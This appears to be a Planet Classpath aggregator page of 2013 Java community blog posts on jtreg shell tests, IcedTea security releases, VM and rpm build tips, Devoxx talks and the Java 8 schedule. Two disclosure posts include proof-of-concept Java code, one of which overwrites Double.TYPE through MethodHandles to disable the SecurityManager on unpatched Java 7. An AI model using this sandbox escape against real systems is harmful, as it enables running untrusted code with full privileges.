Planet Classpath

Jonathan Gibbons: Shelling Tests

Fri, 17 May 2013 22:00:46 +0000

shell: v. tr.To remove from a shell.; v. intr.To shed or become free of a shell.

jtreg provides support for various different types of tests. API tests can use "@run main", simple compiler tests can use "@compile", and simple GUI or applet tests can use "@run applet". And then there's the ubiquitous "misc" or "other" category, for which "@run shell" is provided. However, there are a number of reasons why not to use "shell tests", and recently we made another step forward to reduce the use of shell tests in the langtools repository.

Why shell tests?

jtreg provides a simple, basic mechanism for executing a simple series of steps to enable a class to be compiled and run. It is not, and never was, intended to be a full-featured shell language. For anything more complex, support was provided for executing a shell script, as a way of executing an arbitrary sequence of commands. In the early days of JDK, this was a reasonable and expedient choice and served well for a number of years.

Why not shell tests?

Perhaps the most significant issue is that of cross-platform portability, and related to that, which shell environment to use? Initially, on Windows the requirement was to use MKS, but recently, Cygwin has become the standard. Both of these have suble and not so subtle differences to shell environments on Unix-like platforms, which lead to subtle rules about being careful about which commands to use and not use, or to large cut-n-paste blocks of text at the head of a script to set up platform-specific variables such as FS (for the file separator) and PS (for the path separator). These blocks of text had to be updated when the Mac became a standard supported platform, and are potentially a source of issues in the context of porting OpenJDK to other platforms.

A corollary is that it is difficult to write and test a reliable cross-platform test in a shell script. In the early days of Java, it was common for JDK developers to have a collection of machines under their desk, so that tests could be run on all supported platforms. That was both expensive and inefficient. Even today, with virtualization, it is still problematic to run tests on all supported platforms, and so it is better to write tests such that the test more likely to work across all supported platforms.

Another issue is that it can be hard to write a shell script that works well in the face of potential failure of the commands that it executes. It is easy to write a shell script that assumes everything works as expected; it is much harder to (remember to) program defensively that some commands might fail. And when a command fails, you need to be able to verify that it failed for the right reason.

Even worse than the points in the preceding paragraphs, it is hard to write a good test in shell script, period. The inverse may be more obviously true: it is far too easy to write a bad test in shell script, that will not behave as expected. Executing the command "java" will look for the command on your PATH, which is almost certainly not the version you should be using, which is probably ${TESTJAVA}/bin/java. Executing a command like "rm stuff" at the end of the script will likely succeed, and will make the test appear to succeed, even if preceding commands have failed. And on Windows, you need to be very careful to understand the differences in the way that Cygwin and Java handle filenames and paths.

Finally, there is the issue of performance. Driven by the desire for higher quality, that has meant wanting to run more tests more often, and that has led to wanting to run the tests faster [1, 2]. The Java/shell boundary is an impenetrable performance barrier. Even if the shell script invokes Java commands, they're each still in a different/fresh/cold new JVM, which means you lose the potential benefit of any JVM optimizations. Now, sometimes it is indeed necessary for the test to start a new JVM – for example, to run a program in a JVM with a particular set of JVM options – but that is often not the case, especially in the langtools world testing programs like javac, javadoc, and so on. Writing a test in Java gives you the choice of when to stay within the same JVM and when to start a new one; writing a test as a shell script, you have no such choice.

Removing shell tests

As you can see illustrated in the graph above, there have been three significant reductions in the number of shell tests in the langtools repository.

July, 2008

The first major reduction followed an analysis of the reasons that shell scripts were being used. It turned out that a significant number of shell tests were running javac, and then using diff to compare the console output from javac against a so-called golden file containing expected output. Supposedly, jtreg directly supported such a feature, but in reality, it did not work well enough to be useful, and so shell tests were being used to worked around that issue. Once the tool was fixed, it became possible to replace a whole category of shell tests with tests that were equivalent, or better, using other jtreg action tags.

February, 2012

The second major reduction in the number of shell tests followed the removal of the apt early in the development cycle for JDK 8. The tests for the tool were relatively complex, and a legitimate use of shell tests, although if the tool had not been scheduled for removal, it would have been worth rewriting these tests in Java. As it was, it was easier to wait for the tool to be removed, and to remove the tests along with it.

February, 2013

While the first two big reductions in the number of shell tests were significant, they were both the result of special circumstances -- working around bugs in jtreg, and the result of not needing the tests any more. The most recent reduction in the number of shell tests is of more general interest, since it is a more general purpose solution.

In the early days, Java was not a mature enough platform to consider writing the equivalent of shell scripts in Java. In addition, the default jtreg execution mode was "othervm", and it was much faster to run a shell script than it was to start up a new virtual machine just to sequence through the actions of a test that would in turn typically require even more virtual machines to be started.

Times change. The Java platform has matured, and it is now common to use jtreg to run tests in "samevm" or "agentvm" mode, which means that the cost of running a Java class to execute the steps of a test is much less than it was before. New language features (like try-with-resources) and new API (like java.lang.ProcessBuilder and java.nio.file.*) mean that is easier then ever before to use Java to perform a series of steps for which might have have previously considered using a shell script.

Attitudes change too. With hindsight, the initial simplicity of writing a shell test is a short term benefit compared to the long term maintenance cost. An equivalent Java program may have a higher initial cost, such as making you consider checked exceptions, but this can provide benefits later on, such as better detection and reporting of faults when something eventually does go wrong, years later.

With all this in mind, a recent addition to the LangTools team, Vicente Romero, took on the task of analysing the remaining shell scripts in the langtools test suite, with the goal of writing a library of useful methods, such that it was relatively easy to translate each shell script into an equivalent Java program. The result is a class we called ToolBox, and it provides equivalents for the commands we were previously using in our shell scripts. Some methods fork processes as needed; other methods can be implemented directly in the library, leveraging standard Java API.

Lessons Learned

The work to develop the ToolBox library has been a success and as a result, we converted a significant numer of the remaining shell tests in the langtools test suite to Java code. A few tests did not fit into the pattern of the rest of the tests, and will need to be re-examined before we can truly declare a shell-free test zone.

There is something of a hidden cost here, however: after all, nothing comes for free. The cost is that the tests all depend on a common shared library. In the early days, it was regarded as very important that tests should be as standalone as possible, such that they can be run and issues debugged outside the context of the test harness. That is maybe less important these days, and we see the use of standard test frameworks, like TestNG, and custom test frameworks, like JavadocTester for javadoc tests, and now ToolBox for shell-like tests. The cost is that we need to be careful (as with any library code) that if we change or evolve the API, we do not break existing clients.

Leveraging ToolBox

Can we use ToolBox in other test suites, such as the main jdk regression suite? Yes, and no. First and foremost, those tests are in a different repository, and sharing across a repository boundary would be problematic. More significantly however, the code in the langtools ToolBox is customized to the needs of the langtools tests. Although the concept of the ToolBox class should be applicable to the jdk regression test suite, it is likely that an analysis of the shell scripts in that test suite would lead to a different set of utility methods in a jdk version of ToolBox. However, I am confident that if someone were to do so, they would see the same advantages in that test suite that we have seen in the langtools test suite.

1. Speeding up tests: a langtools milestone
2. Speeding up tests again: another milestone

Thanks to Joe Darcy and Vicente Romero for reviewing this entry.

Andrew Hughes: [SECURITY] IcedTea 2.1.8 for OpenJDK 7 Released!

Fri, 10 May 2013 20:13:49 +0000

The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.

This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.1.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:

S6657673, CVE-2013-1518: Issues with JAXP
S7200507: Refactor Introspector internals
S8000724, CVE-2013-2417: Improve networking serialization
S8001031, CVE-2013-2419: Better font processing
S8001040, CVE-2013-1537: Rework RMI model
S8001322: Refactor deserialization
S8001329, CVE-2013-1557: Augment RMI logging
S8003335: Better handling of Finalizer thread
S8003445: Adjust JAX-WS to focus on API
S8003543, CVE-2013-2415: Improve processing of MTOM attachments
S8004261: Improve input validation
S8004336, CVE-2013-2431: Better handling of method handle intrinsic frames
S8004986, CVE-2013-2383: Better handling of glyph table
S8004987, CVE-2013-2384: Improve font layout
S8004994, CVE-2013-1569: Improve checking of glyph table
S8005432: Update access to JAX-WS
S8005943: (process) Improved Runtime.exec
S8006309: More reliable control panel operation
S8006435, CVE-2013-2424: Improvements in JMX
S8006790: Improve checking for windows
S8006795: Improve font warning messages
S8007406: Improve accessibility of AccessBridge
S8007617, CVE-2013-2420: Better validation of images
S8007667, CVE-2013-2430: Better image reading
S8007918, CVE-2013-2429: Better image writing
S8008140: Better method handle resolution
S8009049, CVE-2013-2436: Better method handle binding
S8009063, CVE-2013-2426: Improve reliability of ConcurrentHashMap
S8009305, CVE-2013-0401: Improve AWT data transfer
S8009677, CVE-2013-2423: Better setting of setters
S8009699, CVE-2013-2421: Methodhandle lookup
S8009814, CVE-2013-1488: Better driver management
S8009857, CVE-2013-2422: Problem with plugin

In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.

If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.

Full details of the release can be found below.

What’s New?

New in release 2.1.8 (2013-05-02)

Security fixes
- S6657673, CVE-2013-1518: Issues with JAXP
- S7200507: Refactor Introspector internals
- S8000724, CVE-2013-2417: Improve networking serialization
- S8001031, CVE-2013-2419: Better font processing
- S8001040, CVE-2013-1537: Rework RMI model
- S8001322: Refactor deserialization
- S8001329, CVE-2013-1557: Augment RMI logging
- S8003335: Better handling of Finalizer thread
- S8003445: Adjust JAX-WS to focus on API
- S8003543, CVE-2013-2415: Improve processing of MTOM attachments
- S8004261: Improve input validation
- S8004336, CVE-2013-2431: Better handling of method handle intrinsic frames
- S8004986, CVE-2013-2383: Better handling of glyph table
- S8004987, CVE-2013-2384: Improve font layout
- S8004994, CVE-2013-1569: Improve checking of glyph table
- S8005432: Update access to JAX-WS
- S8005943: (process) Improved Runtime.exec
- S8006309: More reliable control panel operation
- S8006435, CVE-2013-2424: Improvements in JMX
- S8006790: Improve checking for windows
- S8006795: Improve font warning messages
- S8007406: Improve accessibility of AccessBridge
- S8007617, CVE-2013-2420: Better validation of images
- S8007667, CVE-2013-2430: Better image reading
- S8007918, CVE-2013-2429: Better image writing
- S8008140: Better method handle resolution
- S8009049, CVE-2013-2436: Better method handle binding
- S8009063, CVE-2013-2426: Improve reliability of ConcurrentHashMap
- S8009305, CVE-2013-0401: Improve AWT data transfer
- S8009677, CVE-2013-2423: Better setting of setters
- S8009699, CVE-2013-2421: Methodhandle lookup
- S8009814, CVE-2013-1488: Better driver management
- S8009857, CVE-2013-2422: Problem with plugin
Backports
- S7130662, RH928500: GTK file dialog crashes with a NPE
Bug fixes
- PR1363: Fedora 19 / rawhide FTBFS SIGILL
- Fix offset problem in ICU LETableReference.
- Don’t create debuginfo files if not stripping.

The tarball can be downloaded from:

http://icedtea.classpath.org/download/source/icedtea-2.1.8.tar.gz (sig)

SHA256 checksum:

ea68180fe8b40732ccea41cdd6c628de4f660b20fccb4cd87ab35f0727c08b11 icedtea-2.1.8.tar.gz

The tarball is accompanied by a digital signature available at the above ‘sig’ link. This is produced using my public key. See details below.

PGP Key: 248BDC07 (https://keys.indymedia.org/)
Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07

The following people helped with these releases:

Andrew Hughes (application of security fixes & backports, release management)
Roman Kennke (offset fix)
Chris Phillips (PR1363 patch for ARM issue)

We would also like to thank the bug reporters and testers!

To get started:

$ tar xzf icedtea-2.1.8.tar.gz
$ cd icedtea-2.1.8

Full build requirements and instructions are in INSTALL:

$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-2.1.8/configure [--enable-zero --enable-pulse-java
--enable-systemtap ...]
$ make

Happy hacking!

Gary Benson: VM networking tip

Fri, 10 May 2013 09:37:06 +0000

If you are setting up VMs using libvirt then it’s a good idea to change the address of the virtual network to something other than the default. Why? Because if you don’t, and you create a guest which itself starts up libvirt and uses NetworkManager then at least some of the time your VM will start up with its networking hosed.

If the host is using the default network (192.168.122.0/24) and the guests also want to use that network then there is a race between NetworkManager bringing up eth0 and libvirt bringing up virbr0. libvirt checks for existing interfaces using the network it is configured for before starting up virbr0, so if NetworkManager brings up eth0 first then virbr0 will not be set up on the guest and everything will be fine. But, if eth0 is not set up by the time libvirt runs the check, then virbr0 will take 192.168.122.0/24, then eth0 will come up on 192.168.122.something, and you’ll have a VM with two separate interfaces connected to two separate networks that both have the same address range… and it won’t work!

The easy way to solve this is to not install libvirt on the guest, but you may not be able to change this until after the guest is running, and if libvirt starts up during a guest’s installer then you may need to complete parts of the installation with no networking. This may or may not be ok for you and your OS. I’m using VMs to set up clean test environments for GDB, and at the moment I’m setting up three or four new “machines” every day (and throwing them away when I’m done) so I want the process as streamlined as possible. If you only occasionally set up new VMs then some extra tasks during the installation may not be a problem, but it is pretty simple to change the network on the host and you only have to do it once:

As root, run virsh net-edit default
Change every occurence of 192.168.122 to something else
Stop any running guests
Run virsh net-destroy default
Run virsh net-start default

It’s a shame this can’t be fixed more conclusively elsewhere, but NetworkManager brings up the interfaces asynchronously at boot time which makes it impossible to definitively schedule libvirt’s startup to happen after NetworkManager.

Thank you Laine Stump for helping me out with this.

Gary Benson: Only dest dir longer than base dir not supported

Thu, 09 May 2013 11:14:42 +0000

Hello,

Have you experienced the mysterious error, “Only dest dir longer than base dir not supported”?

I have.

The Problem

When you build an rpm, the code is built in %{_builddir}, which usually evaluates as %{_topdir}/BUILD, which in turn evaluates as something like /home/you/rpmbuild/BUILD. The built code (if built with GCC) ends up with loads of /home/you/rpmbuild/BUILD paths embedded in it, and the script /usr/lib/rpm/debugedit rewrites these paths to /usr/src/debug so that the debuginfo rpms work. /usr/lib/rpm/debugedit cannot extend strings, it can only shrink them. If you are seeing “Only dest dir longer than base dir not supported” then, somewhere in your build system, %{_builddir} is defined as something that expands to a string shorter than /usr/src/debug.

Example

In my case, I was building a glibc rpm in a VM that turned out not to have enough disk. I created a new disk, mounted it on /mnt, and added the line %_topdir /mnt to my ~/.rpmmacros. The result? “Only dest dir longer than base dir not supported”. I fixed it by editing ~/.rpmmacros to say %_topdir /mnt/rpmbuild.

Briefly

/usr/src/debug       # the reference
/mnt/BUILD           # too short!
/mnt/rpmbuild/BUILD  # long enough

Thank you,
The Mgt.

Fabien Duminy: Devoxx France 2013 – Architecting for Continuous Delivery

Tue, 07 May 2013 07:00:29 +0000

At Devoxx France 2013, I attended to conference titled « Architecting for Continuous Delivery » presented by Axel Fontaine.

Facebook, Flickr and Stack Overflow are going in production many times per day and thus they do continuous delivery. Note : we can see that Stack Overflow’s version number is in the footer of pages.

Continuous delivery can’t be done from a snapshot version in order to allow reproducibility. So, the cycle is : run the tests, release a new version and deploy into the continuous delivery environment.
When the deployment is done manually, it must be automated. The deployed version must contain application binaries, differences between databases, as well as configuration for all environments (integration, acceptance test, production …). Environment detection must be automatic, by using an environment variable, a file located at a given place …

Management of database modifications

Axel advices to choose a tool managing database versions and execution order of scripts :

Flyway is a free software for migration of databases. It records history of each played script. One can start from an existing database to generate the first version of scripts.
Liquibase is another free software with similar features.

Management of features

Feature toggle allows to avoid creation of branches (and therefore merge of branches and duplication of continuous integration environments). It offen means adding a ‘if’ in the source code, which avoids breaking existing code. Old code will be removed later when everything will be ok in production.

Management of servers

In order to survive an eventual server crash and maintain a web site always on, 2 computers must be used.

While deploying in production, one computer is used for deployment of the new version, connected to the same database. Compatibility of the old server with the database must be ensured : instead of renaming a column, another one must be added together with a trigger copying the old column to the new one. The old column and the trigger will be dropped later. For a web application running under tomcat, usage of a shared session cache like memcached-session-manager allows to preserve active sessions. Each computer host a tomcat instance and a memcached instance. The switch to the new version is done totally transparently for users.

Bookmark and Share

Fabien Duminy: Devoxx France 2013 – Demining an application with JRockit Mission Control

Thu, 02 May 2013 07:00:35 +0000

At Devoxx France 2013, I attended to conference titled « Demining an application with JRockit Mission Control » presented by François Ostyn.

JRockit Mission Control is a tool for the JRockit JVM providing :

a JMX console
a recorder of events happening in the JVM : Flight recorder
a memory analyser to help find memory leaks : Memleak analyser

In order to maintain a single JVM, Oracle has created the HotRockit project to merge JRockit et Hotspot. Its results will be progressively integrated into Hotspot.

Since Java SE 7 update 4, Hotspot has same metrics as JRockit, which allows to use JRockit Mission Control with Hotspot. This one can be used 2 ways : with an eclipse plugin or with a command line.

Thanks to the eclipse plugin, Memleak analyser detects when the number of class instances is increasing and can visualize the call stack. After a run, Flight recorder can get event list in order to display heap and processor usage … In disconnected mode, it can also display memory leaks but not the graph of calls (visible only in connected mode).

The jcmd command (called jrcmd in JRockit) allows to run same queries as eclipse plugin. It can generate a .jfr file displayable with the eclipse plugin.

To finish, you must note that JRockit Mission Control is free for development but not for production and, according to François, it’s faster than profiling tools like Yourkit because metrics are implemented natively in the JVM.

Bookmark and Share

Andrew Hughes: [SECURITY] IcedTea 2.2.8 for OpenJDK 7 Released!

Wed, 01 May 2013 00:14:43 +0000

This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.2.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:

S6657673, CVE-2013-1518: Issues with JAXP
S7200507: Refactor Introspector internals
S8000724, CVE-2013-2417: Improve networking serialization
S8001031, CVE-2013-2419: Better font processing
S8001040, CVE-2013-1537: Rework RMI model
S8001322: Refactor deserialization
S8001329, CVE-2013-1557: Augment RMI logging
S8003335: Better handling of Finalizer thread
S8003445: Adjust JAX-WS to focus on API
S8003543, CVE-2013-2415: Improve processing of MTOM attachments
S8004261: Improve input validation
S8004336, CVE-2013-2431: Better handling of method handle intrinsic frames
S8004986, CVE-2013-2383: Better handling of glyph table
S8004987, CVE-2013-2384: Improve font layout
S8004994, CVE-2013-1569: Improve checking of glyph table
S8005432: Update access to JAX-WS
S8005943: (process) Improved Runtime.exec
S8006309: More reliable control panel operation
S8006435, CVE-2013-2424: Improvements in JMX
S8006790: Improve checking for windows
S8006795: Improve font warning messages
S8007406: Improve accessibility of AccessBridge
S8007617, CVE-2013-2420: Better validation of images
S8007667, CVE-2013-2430: Better image reading
S8007918, CVE-2013-2429: Better image writing
S8008140: Better method handle resolution
S8009049, CVE-2013-2436: Better method handle binding
S8009063, CVE-2013-2426: Improve reliability of ConcurrentHashMap
S8009305, CVE-2013-0401: Improve AWT data transfer
S8009677, CVE-2013-2423: Better setting of setters
S8009699, CVE-2013-2421: Methodhandle lookup
S8009814, CVE-2013-1488: Better driver management
S8009857, CVE-2013-2422: Problem with plugin

In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.

Full details of the release can be found below.

What’s New?

New in release 2.2.8 (2013-04-30)

Security fixes
- S6657673, CVE-2013-1518: Issues with JAXP
- S7200507: Refactor Introspector internals
- S8000724, CVE-2013-2417: Improve networking serialization
- S8001031, CVE-2013-2419: Better font processing
- S8001040, CVE-2013-1537: Rework RMI model
- S8001322: Refactor deserialization
- S8001329, CVE-2013-1557: Augment RMI logging
- S8003335: Better handling of Finalizer thread
- S8003445: Adjust JAX-WS to focus on API
- S8003543, CVE-2013-2415: Improve processing of MTOM attachments
- S8004261: Improve input validation
- S8004336, CVE-2013-2431: Better handling of method handle intrinsic frames
- S8004986, CVE-2013-2383: Better handling of glyph table
- S8004987, CVE-2013-2384: Improve font layout
- S8004994, CVE-2013-1569: Improve checking of glyph table
- S8005432: Update access to JAX-WS
- S8005943: (process) Improved Runtime.exec
- S8006309: More reliable control panel operation
- S8006435, CVE-2013-2424: Improvements in JMX
- S8006790: Improve checking for windows
- S8006795: Improve font warning messages
- S8007406: Improve accessibility of AccessBridge
- S8007617, CVE-2013-2420: Better validation of images
- S8007667, CVE-2013-2430: Better image reading
- S8007918, CVE-2013-2429: Better image writing
- S8008140: Better method handle resolution
- S8009049, CVE-2013-2436: Better method handle binding
- S8009063, CVE-2013-2426: Improve reliability of ConcurrentHashMap
- S8009305, CVE-2013-0401: Improve AWT data transfer
- S8009677, CVE-2013-2423: Better setting of setters
- S8009699, CVE-2013-2421: Methodhandle lookup
- S8009814, CVE-2013-1488: Better driver management
- S8009857, CVE-2013-2422: Problem with plugin
Backports
- S7130662, RH928500: GTK file dialog crashes with a NPE
- S8009530: ICU Kern table support broken

The tarball can be downloaded from:

http://icedtea.classpath.org/download/source/icedtea-2.2.8.tar.gz (sig)

SHA256 checksum:

f51a3b317a2d2877c2891050305805eb7be257c9e5892eecc04e1cb0e582cd84 icedtea-2.2.8.tar.gz

The tarball is accompanied by a digital signature available at the above ‘sig’ link. This is produced using my public key. See details below.

PGP Key: 248BDC07 (https://keys.indymedia.org/)
Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07

The following people helped with these releases:

Andrew Hughes (application of security fixes & backports, release management)

We would also like to thank the bug reporters and testers!

To get started:

$ tar xzf icedtea-2.2.8.tar.gz
$ cd icedtea-2.2.8

Full build requirements and instructions are in INSTALL:

$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-2.2.8/configure [--enable-zero --enable-pulse-java
--enable-systemtap ...]
$ make

Happy hacking!

Mark Reinhold: Java 8: Hold the train

Fri, 26 Apr 2013 16:44:25 +0000

Last week I proposed to delay the release of Java 8 in order to finish Project Lambda, which has been delayed due to Oracle’s renewed focus on the security of the Java Platform.

Thanks to everyone who responded to that proposal, in comments on my blog entry, on Twitter, and elsewhere. The feedback was generally in favor, though understandably tinged with disappointment. As of today we have a new plan of record: The target release date for Java 8 is now 2014/3/18.

Further schedule details are available on the JDK 8 Project pages.

Riccardo Mottola: DataBasin: advanced SObject describe

Thu, 25 Apr 2013 12:21:21 +0000

I enhanced DataBasin object describe. Frist, I do parse the RecordTypeInfo now, but that was the easy part. Salesforce.com returns only the record type ID and name, but programmatically, this is not very useful. The important bit would be the Developer Name of each record type.

I enhanced the results by querying automatically the RecordType table, extracting the Developer Name, matching it through the RT Id and merging back the results, so that the resulting DBSObject has a complete Record Type information, totally transparent.

Andrew Cowie: http-streams 0.5.0 released

Tue, 23 Apr 2013 13:03:19 +0000

I’ve done some internal work on my http-streams package. Quite a number of bug fixes, which I’m pleased about, but two significant qualitative improvements as well.

First we have rewritten the “chunked” transfer encoding logic. The existing code would accept chunks from the server, and feed them as received up to the user. The problem with this is the server is the one deciding the chunk size, and that means you can end up being handed multi-megabyte ByteStrings. Not exactly streaming I/O. So I’ve hacked that logic so that it yield‘s bites of maximum 32 kB until it has iterated through the supplied chunk, then moves on to the next. Slight increase in code complexity internally, but much smoother streaming behaviour for people using the library.

Secondly I’ve brought in the highly tuned HTTP header parsing code from Gregory Collins’s new snap-server. Our parser was already pretty fast, but this gave us a 13% performance improvement. Nice.

We changed the types in the openConnection functions; Hostname and Port are ByteString and Word16 now, so there’s an API version bump to 0.5.0. Literals will continue to work so most people shouldn’t be affected.

AfC

Riccardo Mottola: Simplifying GWorkspace

Sun, 21 Apr 2013 12:30:12 +0000

I am streamlining GNUstep's Workspace. For many years it had a mode for spatial navigation, inspired essentially from Mac's finder and by GNOME. I personally never felt that it fits well in OpenStep's paradigm. MacOS X incorporated it for legacy reasons of Mac Classic, becasue Apple (sadly) wrote a new Finder instead of using OS's Workspace.
Spatial is good, but I think having a manager which incorporates both philosophies not.

Thus I removed spatial navigation from GWorkspace. Some loyal users perhaps will mourn it, but I want to remember that GWorkspace is just one possible application to implement NSWorkspace, anybody can write a replacement. In fact, I have already plans to write an alternative version, but this will be material for other blog posts.

Mark Reinhold: Java 8: Secure the train

Thu, 18 Apr 2013 15:48:37 +0000

Security vulnerabilities related to Java running inside web browsers have lately received a lot of public attention. Here at Oracle we’ve mounted an intense effort to address those issues in a series of critical-patch update releases, the most recent of which we posted earlier this week. We’ve also upgraded our development processes to increase the level of scrutiny applied to new code, so that new code doesn’t introduce new vulnerabilities.

Maintaining the security of the Java Platform always takes priority over developing new features, and so these efforts have inevitably taken engineers away from working on Java 8. It’s one of the reasons why some features slipped past Milestone 6 (M6), our original Feature-Complete target at the end of January.

Looking ahead, Oracle is committed to continue fixing security issues at an accelerated pace, to enhance the Java security model, and to introduce new security features. This work will require more engineer hours than we can free up by dropping features from Java 8 or otherwise reducing the scope of the release at this stage.

As a consequence of this renewed focus on security the Java 8 schedule, with a GA release in early September, is no longer achievable.

Status As I’ve previously written, the most important work that slipped past M6 is related to Project Lambda, the sole driving feature of the release. We integrated the language and VM changes for Lambda late last year, but between all the moving parts involved and the security work it’s taken a bit longer than expected to put the finishing touches on the stream API and the related core-libraries enhancements (JEPs 107 and 109). Our best estimate right now is that we can finish this work by early May, about three months later than planned.

The other features that slipped past M6 are not release drivers, so in theory we could just drop them from the release, but if Lambda needs more time then there’s no point in doing that.

Alternatives So, what to do? There are many options; let’s look at a few of them.

Drop Lambda from the release in order to maintain the current schedule, with a GA release in early September.

If we drop Lambda then the remaining features are interesting but not, taken as a whole, very compelling. A Lambda-less release this year would hence be unlikely to gain wide adoption, so why bother? Lambda itself would not be available until 2016, assuming we maintain the two-year cadence that I’ve previously suggested. I don’t think anybody wants to wait that long.

Retain Lambda but reduce the time available for feedback and testing in order to maintain the schedule.

If we sacrifice quality in order to maintain the schedule then we’ll almost certainly repeat the well-worn mistakes of the past, carving incomplete language changes and API designs into virtual stone where millions of developers will have to work around their flaws for years to come until those features—or the entire Platform—are replaced by something new.

Slip the schedule by a year or more so that we can include Project Jigsaw, which was previously dropped.

With Lambda nearly complete, I don’t think it makes sense to delay its release. Beyond that, finishing Jigsaw would likely require more than a year’s delay, for reasons I’ve previously given and because key members of the Jigsaw team at Oracle have lately spent a lot of time working on security issues.

Hold the train I think the least-bad option is this:

Slip the schedule just enough to finish Lambda, and ship the release after it’s thoroughly reviewed and tested.

If we can finish the remaining design and development work by early May then we should be able to test and stabilize the build over the summer and ship a solid Developer Preview release in early September.

To settle on a new GA date for Java 8 requires a bit more planning work, but my expectation is that we’d be able to ship the release in the first quarter of 2014.

That is, of course, more than a three-month slip from the current GA date in early September. At this point we’re not confident that we could be ready for a GA release in November, and experience has shown that it’s almost always a bad idea to try to ship a major software release in December, so that pushes the GA date well into the first quarter.

This option would not open the gates for a flood of new features in Java 8, nor would it permit the scope of existing features to grow without bound. We’d likely add a select few additional features, especially in areas related to security. In general, however, we’d use the additional time to stabilize, polish, and fine-tune the features that we already have rather than add a bunch of new ones. We’ve been down that latter road before, and it’s long and ugly.

Is this the best possible course of action? I think it’s better than the alternatives, but I’m open to suggestions. In the meantime I’m going to ask the same question of the Java SE 8 Expert Group and of the contributors to the Reference Implementation in the JDK 8 Project.

Features vs. schedule I’ve previously argued that it’s best to structure the Java development process as a continuous pipeline of innovation that’s only loosely coupled to a regular, rhythmic release process. If a major feature misses its intended release train then that’s unfortunate but it’s not the end of the world: It will be on the next train, which will also leave at a predictable time.

I still think that’s a good general policy. Adhering strictly to it in this case, however, would mean that we’d take the first option above—i.e., drop Lambda and stick to the schedule—which I strongly doubt anyone actually wants. An exception to the general policy is therefore well justified.

If we adopt my proposal above then we should be able to complete the browser-related security work to which we’ve committed and then resume a regular two-year release cadence, with Java 8 due in early 2014 and Java 9 in early 2016.

Jeroen Frijters: The End of ACC_SUPER

Thu, 18 Apr 2013 06:55:58 +0000

Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

import java.lang.invoke.*;


   class test extends Thread implements Cloneable {

     public static void main(String[] args) throws Throwable {

       test obj = new test();

       System.out.println(obj == MH_1().invokeExact(obj));

     }


     private static MethodHandle MH_1() throws Throwable {

       return MethodHandles.lookup().findSpecial(Object.class, "clone",
   MethodType.methodType(Object.class), test.class);

     }

   }

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

Jeroen Frijters: Java 7 Update 21

Wed, 17 Apr 2013 06:00:08 +0000

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.

Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.

import java.lang.invoke.MethodHandle;

   import java.lang.reflect.Field;

   import static java.lang.invoke.MethodHandles.lookup;


   class Union1 {

     int field1;

     Object field2;

   }


   class Union2 {

     int field1;

     SystemClass field2;

   }


   class SystemClass {

     Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,

       f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,

       f24,f25,f26,f27,f28,f29,f30;

   }


   class PoC {

     public static void main(String[] args) throws Throwable {

       System.out.println(System.getSecurityManager());

       disableSecurityManager();

       System.out.println(System.getSecurityManager());

     }


     static void disableSecurityManager() throws Throwable {

       MethodHandle mh1, mh2;

       mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);

       mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);

       Field fld1 = Union1.class.getDeclaredField("field1");

       Field fld2 = Union2.class.getDeclaredField("field1");

       Class classInt = int.class;

       Class classDouble = double.class;

       mh1.invokeExact(int.class);

       mh2.invokeExact((Class)null);

       Union1 u1 = new Union1();

       u1.field2 = System.class;

       Union2 u2 = new Union2();

       fld2.set(u2, fld1.get(u1));

       mh1.invokeExact(classDouble);

       mh2.invokeExact(classInt);

       if (u2.field2.f29 == System.getSecurityManager()) {

         u2.field2.f29 = null;

       } else if (u2.field2.f30 == System.getSecurityManager()) {

         u2.field2.f30 = null;

       } else {

         System.out.println("security manager field not found");

       }

     }

   }

Dalibor Topic: QotD: Mark Reinhold on OpenJDK Wiki

Tue, 16 Apr 2013 08:38:19 +0000

The OpenJDK wiki is now available for use:

http://wiki.openjdk.java.net

Mark Reinhold in an e-mail announcing a new wiki instance.

Joe Darcy: Changing Sources and Moving Targets: Evolving the javac command line

Mon, 15 Apr 2013 05:49:16 +0000

As written up in JEP 182: Policy for Retiring javac -source and -target Options, we're implementing a policy to over time clean up the -source and -target portions of javac's command line:

Class files going all the way back to version 45.3 generated by JDK 1.0.2 will continue to be recognized by javac when put on the classpath, etc.
The never-documented -target options 1.4.1, 1.4.2, and jsr14 have been removed in JDK 8 (8010179).
In JDK 8, source and target options for 1.5 and below will be deprecated and a warning will be printed on their use (8011043).
